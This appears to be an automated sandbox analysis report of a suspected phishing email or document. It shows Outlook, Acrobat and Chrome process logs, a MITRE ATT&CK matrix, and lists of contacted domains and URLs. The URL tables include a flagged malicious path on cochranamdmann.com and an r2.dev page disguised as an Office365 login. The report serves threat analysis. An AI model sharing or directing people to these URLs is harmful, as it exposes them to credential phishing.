Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2236 --field-trial-handle=1580,i,9066445822376409500,15523697511158691536,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1856,i,2560975313422804885,8050898146808390072,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2240 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: c2r64.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: gpapi.dll

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Window found: window name: SysTabControl32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File Volume queried: C:\Windows\SysWOW64 FullSizeInformation

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Process information queried: ProcessInformation

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Queries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 DLL Side-Loading	1 Process Injection	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	Security Account Manager	14 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Source	Detection	Scanner	Label
https://pub-e34937fc417148e6b0ed0cb1209aabd4.r2.dev/favicon.ico	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/d60px/0x4AAAAAABL5dawoZSGbwYDL/auto/fbE/new/normal/auto/	0%	Avira URL Cloud	safe
https://studiolibracreatives.com/favicon.ico	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=930c69e57fdbb045&lang=auto	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/930c69e57fdbb045/1744730288277/5038fc3415d2328c52570dd1a5aca092b769deaf52c0ff0b3f61b11b79d54e0d/1Drqbl9toTXAkYZ	0%	Avira URL Cloud	safe
https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/assets/js/endpoint.js	0%	Avira URL Cloud	safe
https://cochranamdmann.com/favicon.ico	0%	Avira URL Cloud	safe
https://a.nel.cloudflare.com/report/v4?s=qRA8s%2FKl0AxGoWXNgHe9aJoynIq9%2FoIcED9KfBuEP1esDNI201mXl%2BpfU217td6Bqkes404D1TWT%2B9Vnm%2Fjyc4oSLBh%2FAYAG8ftx6fE47Ui01c0A5dafLkDDFDwgR7MIzvA0wg%3D%3D	0%	Avira URL Cloud	safe
https://one.alketbilabs.ai/	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/509735373:1744727329:-YW1A3bwW053c2zmmSS2OcOMzov6Q1-tW3O6WnEbbzE/930c69e57fdbb045/L9le7iPzvl.6kqXJx27DzU_8FFIEckT1r1_h8HvAV8s-1744730286-1.1.1.1-xyxc0INDBWNjnZvbqZjUv3kf8PYKsmLBXzDQyidaDQxfQVP7puliEmqOcXUvoVxN	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/d/930c69e57fdbb045/1744730288278/1-45_Y8gjvuVJY3	0%	Avira URL Cloud	safe
https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/assets/js/url_helper.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
e8652.dscx.akamaiedge.net	23.55.253.31	true	false	high
cochranamdmann.com	172.67.177.152	true	true	unknown
pub-e34937fc417148e6b0ed0cb1209aabd4.r2.dev	162.159.140.237	true	false	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
ipapi.co	104.26.8.44	true	false	high
code.jquery.com	151.101.2.137	true	false	high
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.55.34	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
www.google.com	74.125.138.147	true	false	high
s-0005.dual-s-msedge.net	52.123.129.14	true	false	high
one.alketbilabs.ai	104.26.1.170	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://a.nel.cloudflare.com/report/v4?s=qRA8s%2FKl0AxGoWXNgHe9aJoynIq9%2FoIcED9KfBuEP1esDNI201mXl%2BpfU217td6Bqkes404D1TWT%2B9Vnm%2Fjyc4oSLBh%2FAYAG8ftx6fE47Ui01c0A5dafLkDDFDwgR7MIzvA0wg%3D%3D	false	Avira URL Cloud: safe	unknown
http://x1.i.lencr.org/	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/assets/js/endpoint.js	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/d60px/0x4AAAAAABL5dawoZSGbwYDL/auto/fbE/new/normal/auto/	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=930c69e57fdbb045&lang=auto	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPA	true		unknown
https://studiolibracreatives.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/d/930c69e57fdbb045/1744730288278/1-45_Y8gjvuVJY3	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/930c69e57fdbb045/1744730288277/5038fc3415d2328c52570dd1a5aca092b769deaf52c0ff0b3f61b11b79d54e0d/1Drqbl9toTXAkYZ	false	Avira URL Cloud: safe	unknown
https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/assets/js/url_helper.js	false	Avira URL Cloud: safe	unknown
https://pub-e34937fc417148e6b0ed0cb1209aabd4.r2.dev/www.outlook.office365.cozsidAAQkA0000000000000000000000DZiMjRkdgdMmYyLWY5gfdgdYyLWY5gfdgdYyLWY5gfdgd9999999999.html	false		unknown
https://pub-e34937fc417148e6b0ed0cb1209aabd4.r2.dev/favicon.ico	false	Avira URL Cloud: safe	unknown
